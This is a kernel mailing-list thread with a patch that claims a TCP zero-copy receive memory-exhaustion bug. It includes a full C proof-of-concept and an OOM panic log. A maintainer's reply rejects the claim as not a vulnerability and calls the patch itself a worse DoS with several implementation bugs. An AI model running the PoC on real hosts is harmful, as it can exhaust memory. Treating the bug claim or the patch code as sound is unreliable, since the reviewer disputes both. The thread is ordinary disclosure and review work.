* [PATCH net 0/1] net: tcp: account zero-copy receive VMA memory
@ 2026-09-15 2:45 Ren Wei
2026-09-15 2:45 ` [PATCH net 1/1] " Ren Wei
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-09-15 2:45 UTC (permalink / raw)
To: netdev, linux-kernel, linux-trace-kernel
Cc: edumazet, kuniyu, pabeni, willemb, davem, kuba, horms, rostedt,
mhiramat, mathieu.desnoyers, ncardwell, vega, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
This series fixes a vulnerability in net/ipv4/tcp.c.
[Vulnerability Details]
TCP_ZEROCOPY_RECEIVE installs page references in a user VMA and consumes
the corresponding skb. The socket charge is released when the skb is
consumed, even though the VMA can retain the receive pages. A process can
therefore retain an unbounded number of receive pages and page-table
memory by advancing through a large VMA. This is a resource-exhaustion
DoS, not a use-after-free or double-free.
Reserve the VMA size in TCP socket memory accounting while the mapping is
alive. Keep the reservation across same-mm VMA splits and moves, release
it when the last VMA fragment is unmapped, and reject VMA expansion and
fork inheritance. Use a separate receive zero-copy accounting kind so
receive-buffer minimum allowances cannot bypass the reservation limit.
[Crash Log]
The clean kernel was booted in QEMU with 2 GiB RAM, 2 vCPUs and TCG. The
reproduction set vm.panic_on_oom=2 so the resource exhaustion produced a
deterministic dmesg panic.
The resulting clean-kernel log was:
[ 701.147561][ T5539] poc invoked oom-killer: gfp_mask=0x440dc0
[ 701.148103][ T5539] CPU: 0 UID: 0 PID: 5539 Comm: poc Not tainted
[ 701.828535][ T5539] Kernel panic - not syncing: Out of memory:
[ 701.830897][ T5539] CPU: 1 UID: 0 PID: 5539 Comm: poc Not tainted
[ 701.833017][ T5539] Call Trace:
[ 701.840157][ T5539] out_of_memory+0xc20/0x1680
[ 701.841825][ T5539] __alloc_frozen_pages_noprof+0x2723/0x2e10
[ 701.849506][ T5539] pte_alloc_one+0x1e/0x390
[ 701.850240][ T5539] __pte_alloc+0x6c/0x390
[ 701.853267][ T5539] insert_pages+0x514/0x590
[ 701.854826][ T5539] vm_insert_pages+0x138/0x460
[ 701.855568][ T5539] tcp_zerocopy_vm_insert_batch+0xbf/0x440
[ 701.859088][ T5539] tcp_zerocopy_receive+0x141d/0x29a0
[ 701.867523][ T5539] do_tcp_getsockopt+0x1f4b/0x30d0
[ 701.877177][ T5539] tcp_getsockopt+0xe2/0x110
[ 701.883190][ T5539] __sys_getsockopt+0x131/0x270
[ 701.889601][ T5539] do_syscall_64+0x128/0x7b0
[ 701.899898][ T5539] Rebooting in 86400 seconds..
[PoC / Reproduction]
The PoC uses IPv6 loopback and ordinary user-space networking APIs. It
sets SO_ZEROCOPY and a page-aligned TCP_MAXSEG on both endpoints, maps a
large read-only TCP VMA, and repeatedly calls
getsockopt(TCP_ZEROCOPY_RECEIVE) while the sender keeps producing data.
The deterministic OOM run was prepared in the guest as follows:
make
sysctl -w vm.panic_on_oom=2
./poc 4096
The mapping and receive path were also validated as test_user without
additional capabilities or a network namespace. The panic_on_oom setup
above requires root only to make the OOM result deterministic.
The following is the core of poc.c used for the reproduction.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <poll.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define LISTEN_PORT 31337
#define PAGE_BYTES 4096U
#define PAGE_ALIGNED_MSS (PAGE_BYTES + 12U)
#define SEND_CHUNK (1U << 20)
#define DEFAULT_MAP_MB 8192ULL
#define HUGE_ALIGN (2UL << 20)
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static unsigned long long parse_mb_arg(const char *arg)
{
char *end = NULL;
unsigned long long val;
errno = 0;
val = strtoull(arg, &end, 0);
if (errno || !end || *end)
die("strtoull");
return val;
}
static void set_int_sockopt(int fd, int level, int optname, int val,
const char *name)
{
if (setsockopt(fd, level, optname, &val, sizeof(val)) < 0)
die(name);
}
static void connect_loopback(int fd)
{
struct sockaddr_in6 addr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
};
if (inet_pton(AF_INET6, "::1", &addr.sin6_addr) != 1)
die("inet_pton");
for (;;) {
if (!connect(fd, (struct sockaddr *)&addr, sizeof(addr)))
return;
if (errno == EINTR)
continue;
if (errno == ECONNREFUSED) {
usleep(100000);
continue;
}
die("connect");
}
}
static void sender_process(void)
{
char *buf = malloc(SEND_CHUNK);
int fd;
int one = 1;
if (!buf)
die("malloc");
memset(buf, 0x41, SEND_CHUNK);
fd = socket(AF_INET6, SOCK_STREAM, 0);
if (fd < 0)
die("socket(sender)");
set_int_sockopt(fd, SOL_SOCKET, SO_ZEROCOPY, one, "SO_ZEROCOPY");
set_int_sockopt(fd, IPPROTO_TCP, TCP_MAXSEG, PAGE_ALIGNED_MSS,
"TCP_MAXSEG(sender)");
connect_loopback(fd);
for (;;) {
ssize_t ret = send(fd, buf, SEND_CHUNK, MSG_ZEROCOPY);
if (ret > 0)
continue;
if (errno == EINTR)
continue;
if (errno == EAGAIN || errno == ENOBUFS) {
usleep(1000);
continue;
}
die("send(MSG_ZEROCOPY)");
}
}
static int create_listener(void)
{
struct sockaddr_in6 addr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
};
int fd;
int one = 1;
int lowat = SEND_CHUNK;
fd = socket(AF_INET6, SOCK_STREAM, 0);
if (fd < 0)
die("socket(listener)");
set_int_sockopt(fd, SOL_SOCKET, SO_REUSEADDR, one, "SO_REUSEADDR");
set_int_sockopt(fd, SOL_SOCKET, SO_RCVLOWAT, lowat, "SO_RCVLOWAT");
set_int_sockopt(fd, IPPROTO_TCP, TCP_MAXSEG, PAGE_ALIGNED_MSS,
"TCP_MAXSEG(listener)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind");
if (listen(fd, 1) < 0)
die("listen");
return fd;
}
static void *align_ptr(void *ptr)
{
uintptr_t val = (uintptr_t)ptr;
val = (val + HUGE_ALIGN - 1) & ~(uintptr_t)(HUGE_ALIGN - 1);
return (void *)val;
}
static void wait_for_pollin(int fd)
{
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
for (;;) {
int ret = poll(&pfd, 1, 1000);
if (ret > 0)
return;
if (ret == 0)
continue;
if (errno == EINTR)
continue;
die("poll");
}
}
static void drain_stream(int fd, uint32_t bytes)
{
char buf[1 << 15];
while (bytes) {
size_t want = bytes < sizeof(buf) ? bytes : sizeof(buf);
ssize_t ret = read(fd, buf, want);
if (ret > 0) {
bytes -= (uint32_t)ret;
continue;
}
if (ret == 0)
exit(EXIT_FAILURE);
if (errno == EAGAIN || errno == EWOULDBLOCK) {
wait_for_pollin(fd);
continue;
}
if (errno == EINTR)
continue;
die("read");
}
}
static void set_nonblock(int fd)
{
int flags = fcntl(fd, F_GETFL, 0);
if (flags < 0)
die("fcntl(F_GETFL)");
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
die("fcntl(F_SETFL)");
}
static void receiver_process(int fd, unsigned long long map_mb)
{
struct tcp_zerocopy_receive zc;
void *mapping_raw;
void *mapping;
uint64_t map_len = map_mb << 20;
uint64_t mapped = 0;
socklen_t optlen;
mapping_raw = mmap(NULL, map_len + HUGE_ALIGN, PROT_READ, MAP_SHARED,
fd, 0);
if (mapping_raw == MAP_FAILED)
die("mmap(socket)");
mapping = align_ptr(mapping_raw);
set_nonblock(fd);
for (;;) {
memset(&zc, 0, sizeof(zc));
zc.address = (uintptr_t)mapping + mapped;
zc.length = (map_len - mapped) > SEND_CHUNK ?
SEND_CHUNK : (uint32_t)(map_len - mapped);
optlen = sizeof(zc);
if (!zc.length)
exit(EXIT_FAILURE);
if (getsockopt(fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE,
&zc, &optlen) < 0) {
if (errno == EINTR)
continue;
if (errno == EAGAIN || errno == EWOULDBLOCK) {
wait_for_pollin(fd);
continue;
}
if (errno == EIO)
exit(EXIT_SUCCESS);
die("getsockopt(TCP_ZEROCOPY_RECEIVE)");
}
mapped += zc.length;
if (zc.recv_skip_hint)
drain_stream(fd, zc.recv_skip_hint);
if (!zc.length && !zc.recv_skip_hint)
wait_for_pollin(fd);
}
}
int main(int argc, char **argv)
{
struct sockaddr_in6 peer;
socklen_t peer_len = sizeof(peer);
unsigned long long map_mb = DEFAULT_MAP_MB;
pid_t child;
int listen_fd;
int conn_fd;
if (argc > 1)
map_mb = parse_mb_arg(argv[1]);
listen_fd = create_listener();
child = fork();
if (child < 0)
die("fork");
if (!child)
sender_process();
conn_fd = accept(listen_fd, (struct sockaddr *)&peer, &peer_len);
if (conn_fd < 0)
die("accept");
set_int_sockopt(conn_fd, SOL_SOCKET, SO_RCVLOWAT, SEND_CHUNK,
"SO_RCVLOWAT(accepted)");
set_int_sockopt(conn_fd, IPPROTO_TCP, TCP_MAXSEG, PAGE_ALIGNED_MSS,
"TCP_MAXSEG(accepted)");
receiver_process(conn_fd, map_mb);
kill(child, SIGKILL);
waitpid(child, NULL, 0);
return 0;
}
------END poc.c------
[Validation]
The clean-kernel run reached the panic shown above. The patched kernel
rejected the oversized VMA reservation with -ENOMEM instead of allowing
the mapping to consume unaccounted memory. The patched kernel was also
tested with ordinary TCP traffic, IPv4 and IPv6 receive zero-copy, failed
multi-chunk charges, VMA split and move paths, fork, partial unmap, file
descriptor close, process exit, signals, shutdown, EOF, multiple
mappings, and repeated teardown. Accounting returned to zero after
teardown, and no new KASAN, BUG, Oops, panic, UAF, out-of-bounds, soft
lockup, or hung task was observed.
---
Zixuan Chai (1):
net: tcp: account zero-copy receive VMA memory
include/net/sock.h | 1 +
include/trace/events/sock.h | 3 +-
net/core/sock.c | 2 +-
net/ipv4/tcp.c | 102 ++++++++++++++++++++++++++++++++++--
4 files changed, 103 insertions(+), 5 deletions(-)
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net 1/1] net: tcp: account zero-copy receive VMA memory
2026-09-15 2:45 [PATCH net 0/1] net: tcp: account zero-copy receive VMA memory Ren Wei
@ 2026-09-15 2:45 ` Ren Wei
2026-09-15 3:32 ` Eric Dumazet
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-09-15 2:45 UTC (permalink / raw)
To: netdev, linux-kernel, linux-trace-kernel
Cc: edumazet, kuniyu, pabeni, willemb, davem, kuba, horms, rostedt,
mhiramat, mathieu.desnoyers, ncardwell, vega, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
TCP_ZEROCOPY_RECEIVE installs page references in a user VMA and then
consumes the corresponding skb. The socket charge is released at that
point, so a process can retain an unbounded number of receive pages,
including page-table memory, by advancing through a large VMA.
Reserve the VMA size in TCP socket memory accounting while the mapping
exists. This charges the reservation to the socket memory cgroup and
TCP protocol budget, and releases it when the last VMA fragment is
unmapped. Keep the reservation across same-mm VMA splits and moves,
disallow expansion and fork inheritance, and reject inherited VMAs from
the zero-copy path. Use a strict accounting kind so ordinary receive-
buffer minimum allowances cannot bypass the reservation limit.
Fixes: 93ab6cc69162 ("tcp: implement mmap() for zero copy receive")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
include/net/sock.h | 1 +
include/trace/events/sock.h | 3 +-
net/core/sock.c | 2 +-
net/ipv4/tcp.c | 102 ++++++++++++++++++++++++++++++++++--
4 files changed, 103 insertions(+), 5 deletions(-)
diff --git a/include/net/sock.h b/include/net/sock.h
index 51185222aac2..cf19055a9c40 100644
--- a/include/net/sock.h
+++ b/include/net/sock.h
@@ -1556,6 +1556,7 @@ void __sk_mem_reclaim(struct sock *sk, int amount);
#define SK_MEM_SEND 0
#define SK_MEM_RECV 1
+#define SK_MEM_RECV_ZEROCOPY 0x100
/* sysctl_mem values are in pages */
static inline long sk_prot_mem_limits(const struct sock *sk, int index)
diff --git a/include/trace/events/sock.h b/include/trace/events/sock.h
index b5310439536e..0f10b92c118c 100644
--- a/include/trace/events/sock.h
+++ b/include/trace/events/sock.h
@@ -38,7 +38,8 @@
#define skmem_kind_names \
EM(SK_MEM_SEND) \
- EMe(SK_MEM_RECV)
+ EM(SK_MEM_RECV) \
+ EMe(SK_MEM_RECV_ZEROCOPY)
/* enums need to be exported to user space */
#undef EM
diff --git a/net/core/sock.c b/net/core/sock.c
index fa60b7494c58..3d85c138e1c7 100644
--- a/net/core/sock.c
+++ b/net/core/sock.c
@@ -3380,7 +3380,7 @@ int __sk_mem_raise_allocated(struct sock *sk, int size, int amt, int kind)
if (atomic_read(&sk->sk_rmem_alloc) < sk_get_rmem0(sk, prot))
return 1;
- } else { /* SK_MEM_SEND */
+ } else if (kind == SK_MEM_SEND) {
int wmem0 = sk_get_wmem0(sk, prot);
if (sk->sk_type == SOCK_STREAM) {
diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c
index 562752352afe..5cc2bfc8a90d 100644
--- a/net/ipv4/tcp.c
+++ b/net/ipv4/tcp.c
@@ -267,6 +267,7 @@
#include <linux/errqueue.h>
#include <linux/static_key.h>
#include <linux/btf.h>
+#include <linux/sched/mm.h>
#include <net/icmp.h>
#include <net/inet_common.h>
@@ -1860,23 +1861,118 @@ void tcp_set_rcvbuf(struct sock *sk, int val)
}
#ifdef CONFIG_MMU
+struct tcp_zc_vma {
+ unsigned long nr_pages;
+ struct mm_struct *mm;
+ refcount_t refcnt;
+ struct sock *sk;
+};
+
+/* Keep the size argument to __sk_mem_raise_allocated() within int. */
+#define TCP_ZEROCOPY_MEM_CHUNK (INT_MAX >> PAGE_SHIFT)
+
+static void tcp_zc_mem_uncharge(struct sock *sk, unsigned long nr_pages)
+{
+ unsigned int chunk;
+
+ while (nr_pages) {
+ chunk = min_t(unsigned long, nr_pages,
+ TCP_ZEROCOPY_MEM_CHUNK);
+ __sk_mem_reduce_allocated(sk, chunk);
+ nr_pages -= chunk;
+ }
+}
+
+static int tcp_zc_mem_charge(struct sock *sk, unsigned long nr_pages)
+{
+ unsigned long charged = 0;
+ unsigned int chunk;
+ int ret;
+
+ while (nr_pages) {
+ chunk = min_t(unsigned long, nr_pages,
+ TCP_ZEROCOPY_MEM_CHUNK);
+ ret = __sk_mem_raise_allocated(sk, chunk << PAGE_SHIFT,
+ chunk, SK_MEM_RECV_ZEROCOPY);
+ if (!ret) {
+ tcp_zc_mem_uncharge(sk, charged);
+ return -ENOMEM;
+ }
+ charged += chunk;
+ nr_pages -= chunk;
+ }
+
+ return 0;
+}
+
+static void tcp_zc_vma_open(struct vm_area_struct *vma)
+{
+ struct tcp_zc_vma *zc_vma = vma->vm_private_data;
+
+ refcount_inc(&zc_vma->refcnt);
+}
+
+static void tcp_zc_vma_close(struct vm_area_struct *vma)
+{
+ struct tcp_zc_vma *zc_vma = vma->vm_private_data;
+
+ if (refcount_dec_and_test(&zc_vma->refcnt)) {
+ tcp_zc_mem_uncharge(zc_vma->sk, zc_vma->nr_pages);
+ mmdrop(zc_vma->mm);
+ sock_put(zc_vma->sk);
+ kfree(zc_vma);
+ }
+}
+
static const struct vm_operations_struct tcp_vm_ops = {
+ .open = tcp_zc_vma_open,
+ .close = tcp_zc_vma_close,
};
int tcp_mmap(struct file *file, struct socket *sock,
struct vm_area_struct *vma)
{
+ struct tcp_zc_vma *zc_vma;
+ unsigned long nr_pages;
+
if (vma->vm_flags & (VM_WRITE | VM_EXEC))
return -EPERM;
vm_flags_clear(vma, VM_MAYWRITE | VM_MAYEXEC);
/* Instruct vm_insert_page() to not mmap_read_lock(mm) */
- vm_flags_set(vma, VM_MIXEDMAP);
+ vm_flags_set(vma, VM_DONTCOPY | VM_DONTEXPAND | VM_MIXEDMAP);
+
+ nr_pages = (vma->vm_end - vma->vm_start) >> PAGE_SHIFT;
+ zc_vma = kmalloc_obj(*zc_vma, GFP_KERNEL_ACCOUNT);
+ if (!zc_vma)
+ return -ENOMEM;
+
+ zc_vma->nr_pages = nr_pages;
+ zc_vma->mm = vma->vm_mm;
+ zc_vma->sk = sock->sk;
+ refcount_set(&zc_vma->refcnt, 1);
+ mmgrab(zc_vma->mm);
+ sock_hold(zc_vma->sk);
+ if (tcp_zc_mem_charge(zc_vma->sk, nr_pages)) {
+ mmdrop(zc_vma->mm);
+ sock_put(zc_vma->sk);
+ kfree(zc_vma);
+ return -ENOMEM;
+ }
vma->vm_ops = &tcp_vm_ops;
+ vma->vm_private_data = zc_vma;
return 0;
}
+static bool tcp_zc_vma_valid(const struct vm_area_struct *vma,
+ const struct mm_struct *mm)
+{
+ const struct tcp_zc_vma *zc_vma = vma->vm_private_data;
+
+ return vma->vm_ops == &tcp_vm_ops && zc_vma && zc_vma->mm == mm;
+}
+
static skb_frag_t *skb_advance_to_frag(struct sk_buff *skb, u32 offset_skb,
u32 *offset_frag)
{
@@ -2173,7 +2269,7 @@ static struct vm_area_struct *find_tcp_vma(struct mm_struct *mm,
struct vm_area_struct *vma = lock_vma_under_rcu(mm, address);
if (vma) {
- if (vma->vm_ops != &tcp_vm_ops) {
+ if (!tcp_zc_vma_valid(vma, mm)) {
vma_end_read(vma);
return NULL;
}
@@ -2183,7 +2279,7 @@ static struct vm_area_struct *find_tcp_vma(struct mm_struct *mm,
mmap_read_lock(mm);
vma = vma_lookup(mm, address);
- if (!vma || vma->vm_ops != &tcp_vm_ops) {
+ if (!vma || !tcp_zc_vma_valid(vma, mm)) {
mmap_read_unlock(mm);
return NULL;
}
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [PATCH net 1/1] net: tcp: account zero-copy receive VMA memory
2026-09-15 2:45 ` [PATCH net 1/1] " Ren Wei
@ 2026-09-15 3:32 ` Eric Dumazet
0 siblings, 0 replies; 3+ messages in thread
From: Eric Dumazet @ 2026-09-15 3:32 UTC (permalink / raw)
To: Ren Wei
Cc: netdev, linux-kernel, linux-trace-kernel, kuniyu, pabeni,
willemb, davem, kuba, horms, rostedt, mhiramat,
mathieu.desnoyers, ncardwell, vega, petalzu987
On Mon, Sep 14, 2026 at 7:46 PM Ren Wei <weir@nebusec.ai> wrote:
>
> From: Zixuan Chai <petalzu987@gmail.com>
>
> TCP_ZEROCOPY_RECEIVE installs page references in a user VMA and then
> consumes the corresponding skb. The socket charge is released at that
> point, so a process can retain an unbounded number of receive pages,
> including page-table memory, by advancing through a large VMA.
>
> Reserve the VMA size in TCP socket memory accounting while the mapping
> exists. This charges the reservation to the socket memory cgroup and
> TCP protocol budget, and releases it when the last VMA fragment is
> unmapped. Keep the reservation across same-mm VMA splits and moves,
> disallow expansion and fork inheritance, and reject inherited VMAs from
> the zero-copy path. Use a strict accounting kind so ordinary receive-
> buffer minimum allowances cannot bypass the reservation limit.
>
> Fixes: 93ab6cc69162 ("tcp: implement mmap() for zero copy receive")
> Cc: stable@vger.kernel.org
> Reported-by: VEGA <vega@nebusec.ai>
> Assisted-by: LLM
> Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
> Signed-off-by: Ren Wei <weir@nebusec.ai>
> ---
This is not a bug, and this patch would be a serious regression.
NACK.
1) There is no vulnerability here.
vm_insert_pages() accounts every installed page in the RSS of the
mapping process (insert_page_into_pte_locked() does
inc_mm_counter(vma->vm_mm, mm_counter_file(folio))), and the page
tables allocated for the mapping are GFP_KERNEL_ACCOUNT, as your own
stack trace shows (pte_alloc_one).
So the memory is accounted, it is attributed to the process holding
it, and oom_badness() sees it. Your own log says so :
[ 701.147561][ T5539] poc invoked oom-killer: gfp_mask=0x440dc0
The OOM killer was doing exactly the right thing, and was about to
kill 'poc'. The kernel only "panics" because your reproducer does :
sysctl -w vm.panic_on_oom=2
With panic_on_oom=2, any program doing malloc()+memset() in a loop is
a "kernel vulnerability". Please do not send such reports.
Releasing the socket charge once the skb is consumed is by design :
ownership of the pages moves to user space, exactly like a recvmsg()
copying into an anonymous buffer of the same size. Nothing is
unbounded, this is bounded by the address space the process mapped
and populated, and that memory is charged to it.
The Fixes: tag and the stable Cc are therefore not appropriate.
2) The patch itself is a much better DoS than the one it claims to
fix.
You are charging *address space* to tcp_memory_allocated at mmap()
time. Address space is not memory.
An unprivileged user can mmap() a few GB on a TCP socket, without
allocating a single page, and push tcp_memory_allocated above
tcp_mem[1]. The whole host then stays under TCP memory pressure for
as long as the mapping exists : every socket on the machine starts
shrinking its buffers and dropping packets. Repeat on a few sockets
and you reach tcp_mem[2].
3) It breaks the intended use of TCP_ZEROCOPY_RECEIVE.
The expected model is to mmap() a large region once and slide a
window through it for the lifetime of the flow. With your patch these
mmap() calls fail with -ENOMEM, or start failing at random whenever
the host happens to be under TCP memory pressure. This is an ABI
break, and it is not covered by any test. tcp_mmap.c in
tools/testing/selftests/net/ was neither updated nor, apparently,
run.
4) Implementation problems, in no particular order :
- __sk_mem_raise_allocated() and __sk_mem_reduce_allocated() are
called from mmap(), munmap() and exit_mmap(), without the socket
lock. sk_forward_alloc is bypassed entirely, so the socket
accounting no longer describes the charge held on its behalf.
- SK_MEM_RECV_ZEROCOPY 0x100 overloads a 'kind' argument that is a
small enum, used in the tracepoint, and forces a change of the
fall-through in a core function.
- Adding a .close vm_op silently disables VMA merging, see
is_mergeable_vma().
- VM_DONTCOPY and VM_DONTEXPAND are user visible behavior changes,
proposed here for stable kernels.
- The reservation is never reduced on partial unmap : nr_pages is the
size of the original VMA and the refcount only tracks fragments.
Unmapping all but one page keeps the full charge forever, on a
socket that sock_hold() keeps alive long after close().
- mmgrab() and sock_hold() are redundant. vma->vm_file already pins
the socket, and vma->vm_mm cannot go away under its own vma. Once
VM_DONTCOPY is set, the zc_vma->mm == mm test is dead code.
- kmalloc_obj() does not exist in any of the stable trees you are
Cc'ing.
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-15 3:32 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-15 2:45 [PATCH net 0/1] net: tcp: account zero-copy receive VMA memory Ren Wei
2026-09-15 2:45 ` [PATCH net 1/1] " Ren Wei
2026-09-15 3:32 ` Eric Dumazet
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®